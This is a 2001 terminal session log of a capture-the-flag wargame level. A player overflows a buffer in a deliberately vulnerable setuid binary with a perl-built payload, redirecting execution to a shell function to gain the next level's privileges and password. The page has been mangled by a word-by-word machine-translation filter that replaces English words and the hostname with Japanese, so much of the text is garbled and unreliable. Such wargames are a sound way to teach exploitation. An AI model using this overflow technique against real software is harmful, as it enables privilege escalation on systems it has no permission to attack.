|
このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
Script started on Mon Dec 24 07:00:36 2001 恐れる:0:level1$ telnet 切り開く／タクシー／不正アクセス.datafort.逮捕する Trying 213.132.58.103... Connected to 切り開く／タクシー／不正アクセス.datafort.逮捕する. Escape character is '^]'. FreeBSD/i386 (badc0ded.datafort.逮捕する) (ttyp2) login: level1 Password: Last login: Mon Dec 24 15:45:08 from 80.134.85.205 Copyright (c) 1980, 1983, 1986, 1988, 1990, 1991, 1993, 1994 The Regents of the University of California. All 権利s reserved. FreeBSD 4.4-RELEASE (GENERIC) #0: Tue Sep 18 11:57:08 PDT 2001 bash-2.05$ ls -l total 1 lrwxr-xr-x 1 root level1 8 Oct 10 09:40 contest -> /contest drwxr-xr-x 2 root level1 512 Sep 24 08:54 html lrwxr-xr-x 1 root level1 14 Oct 10 14:54 temp -> /usr/tmp/temp/ bash-2.05$ cd contest/ bash-2.05$ ls -l total 41 -rwx--x--x 1 root wheel 4938 Oct 11 16:00 level1 -rwsr-x--- 1 level2 level1 4557 Oct 7 12:14 level2 -rwsr-x--- 1 level3 level2 4650 Sep 23 09:22 level3 -rwsr-x--- 1 level4 level3 4527 Oct 7 12:15 level4 -rwsr-x--- 1 level5 level4 4523 Oct 7 12:15 level5 -rwx--x--x 1 root wheel 4939 Oct 7 12:10 level6 -rwsr-x--- 1 level7 level6 4360 Oct 7 12:16 level7 -rwsr-x--- 1 level8 level7 4623 Oct 8 11:36 level8 drwxr-xr-x 2 root wheel 512 Oct 9 09:50 shellcode bash-2.05$ id uid=1001(level1) gid=1001(level1) groups=1001(level1) bash-2.05$ cd ~/temp bash-2.05$ cp /contest/level2 . bash-2.05$ ./level2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (核心 捨てるd) bash-2.05$ gdb ./level2 核心 (no debugging symbols 設立する)...核心 was 生成するd by `level2'. Program 終結させるd with signal 11, Segmentation fault. Reading symbols from /usr/lib/libc.so.4...(no debugging symbols 設立する)...done. Reading symbols from /usr/libexec/ld-elf.so.1...(no debugging symbols 設立する)...done. #0 0x41414141 in ?? () (gdb) p &the_shell $1 = (<text variable, no debug info> *) 0x8048538 <the_shell> (gdb) やめる bash-2.05$ ./level2 `perl -e 'print "A" x 16 . "\x38\x85\x04\x08"'` $ 出口 Segmentation fault (核心 捨てるd) base-2.05$ cd /contest bash-2.05$ ./level2 `perl -e 'print "A" x 16 . "\x38\x85\x04\x08"'` $ id uid=1001(level1) euid=1002(level2) gid=1001(level1) groups=1001(level1) $ pass The password for level2 is f4r00k $ 出口 Segmentation fault bash-2.05$ 出口 関係 の近くにd by foreign host. 恐れる:0:level1$ Script done on Mon Dec 24 07:09:11 2001